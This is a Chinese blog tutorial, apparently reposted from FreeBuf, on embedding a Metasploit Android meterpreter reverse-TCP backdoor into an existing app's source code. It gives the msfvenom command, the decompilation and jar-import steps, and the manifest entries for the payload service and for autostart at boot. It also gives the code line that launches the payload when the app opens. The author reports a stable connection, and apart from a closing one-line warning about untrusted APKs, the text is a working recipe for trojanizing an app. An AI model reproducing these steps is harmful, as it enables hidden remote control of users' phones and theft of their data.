添加Metasploit-payload到已有的Android项目中

*本文原创作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载

metasploit在写这篇文章之前,笔者可以说是对java一窍不通,也从来没有写过什么Android应用,在几天的摸爬滚打中终于实现了最终的目的,就是在已有Apk源码的情况下,用了比较另类的方式,添加metasploit后门。

同时支持java/scala两种语言写的项目,主要是为了给大家提供一些思路,如果哪里写的不准确,欢迎指正。

可能有人说,目前已经有各种各样的工具,比如backdoor-apk能够感染已编译好的Apk文件,但是经过笔者的测试,这种被感染后的文件使用起来不是很稳定,而且apktool本身有缺陷,导致很多apk反编译后无法重新编译。

所以,既然有源码,为何要生成apk后再注入后门?

payload分析

首先使用msfvenom生成一个payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk

使用apktool与dex2jar反编译:

apktool d payload.apkd2j-dex2jar payload.apk

最后用jd-gui打开d2j-dex2jar生成出的payload-dex2jar.jar

结合AndroidManifest.xml分析源码后发现,Payload的服务为com.metasploit.stage.MainService。

启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。

启动服务的代码为

MainService.startService(context);

也就是说,只要把启动服务的代码添加到项目源码中的相应位置,就可以实现添加后门。

笔者首先想将反编译后的java源码直接添加到项目中,但无奈编译不成功,在网上查找相关资料后发现,jd-gui反编译的jar文件本身就有问题,只能做参考。

如果直接用github上payload的源码,又不知道Payload的配置串是如何加密的。

最后突然想到,既然dex2jar已经将payload转换为了jar文件,那直接将jar作为依赖包导入到工程中不就行了。

导入jar包

Android Studio

拷贝payload-dex2jar.jar到app/libs目录下

打开app目录下的build.gradle,在dependencies中添加compile files(‘libs/payload-dex2jar.jar‘)

Sbt/scala

拷贝payload-dex2jar.jar到lib目录下

修改AndroidManifest.xml

选择性添加添加以下权限

可以根据需要,选择性的添加所需要的权限

添加服务

<service android:name="com.metasploit.stage.MainService" android:exported="true" />

添加开机启动

如果需要添加开机启动,则必须添加android.permission.RECEIVE_BOOT_COMPLETED权限。

<receiver android:name="com.metasploit.stage.MainBroadcastReceiver" android:label="MainBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter></receiver>

修改源码,启动服务

java与scala相同,定位到Main Activity所在的文件中,添加import

import com.metasploit.stage.MainService;

在Activity的onCreate方法中,添加

MainService.startService(this);

编译、签名、测试

编译与签名的环节就略过了,最终的测试结果非常满意,无论是打开程序运行与开机自动运行都成功,并且连接很稳定。

后记

通过导入jar包的方式添加后门也算是另类的方式了吧,不过也算很方便了,jar包只要生成一次,就可以当做一个依赖包添加到所有Android项目中。当然一定还有更好的方法,本文只是提供一个思路。

同时提醒大家留意来路不明的Apk文件,防止被安装后门,信息安全不容小视。

*本文原创作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-01-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏北京马哥教育

网传运维面试题,你答对了多少?

最近网上流传了一份没有答案的Linux运维面试题。51CTO博主豪鹫趁工作之余,利用自己三年的运维经验交出了一份答卷。欢迎大家一起来点评~

52230
来自专栏西城知道

百度网盘SVIP高速下载教程

我们都知道在日常生活中会存很多视频或者图片,我们如果都放在本地的话,那肯定是很占用内存资源的,所以我们一般首选目前来说存在百度网盘可能多一点,但是我们需要用到这...

3.8K30
来自专栏魏艾斯博客www.vpsss.net

Batcache 插件给服务器提速的安装过程

魏艾斯博客写过有关开启 memcached,opcache 缓存的文章,前者是内容缓存插件,后者是 php 缓存插件,本来以为服务器优化折腾到此就差不多了,这几...

16530
来自专栏linux驱动个人学习

Linux启动流程

启动第一步--加载BIOS  当你打开计算机电源,计算机会首先加载BIOS信息,BIOS信息是如此的重要,以至于计算机必须在最开始就找到它。这是因为BIOS中包...

37650
来自专栏HappenLee的技术杂谈

Ubuntu系统下静态DNS配置详解

因为实验室实现的拟态存储系统需要实现动态变更ip地址,所以需要搭建一个dns服务器,并且将需要查询变更ip地址的服务器都绑定到同一台dns服务器之上。通常在Re...

23730
来自专栏张戈的专栏

Linux :MAC 地址克隆方法

摘 要 虽然 MAC 地址由厂商指定,但用户可以改变它,这就是传说中的“MAC 地址欺骗”。你可能会疑惑,弄这个有什么用?好吧,玛思阁举个例子,比如,电信宽带...

41350
来自专栏沈唁志

宝塔面板Mysql 5.6版本无法正常启动的解决方法

朋友找我的时候说的是 Mysql 启动不了,看他发的截图是宝塔面板,就要来了面板信息去看了一下

2.6K20
来自专栏DevOps时代的专栏

Jenkins 的 Pipeline 脚本在美团餐饮 SaaS 中的实践

在日常开发中,我们经常会有发布需求,而且还会遇到各种环境,比如:线上环境(Online),模拟环境(Staging),开发环境(Dev)等。最简单的就是手动构建...

13820
来自专栏北京马哥教育

Linux开机启动(bootstrap)

计算机开机是一个神秘的过程。我们只是按了开机键,就看到屏幕上的进度条或者一行行的输出,直到我们到达登录界面。然而,计算机开机又是个异常脆弱的过程,我们满心期望的...

21450
来自专栏西枫里博客

删除QQ内置浏览器,不再为误点烦恼。

事情得从好久之前说起,自从上次火绒说QQ推广管家和浏览器有流氓行为。就对QQ内置的浏览器耿耿于怀。今天boke112群主说不喜欢分享的链接被QQ内置浏览器打开。...

29010

扫码关注云+社区

领取腾讯云代金券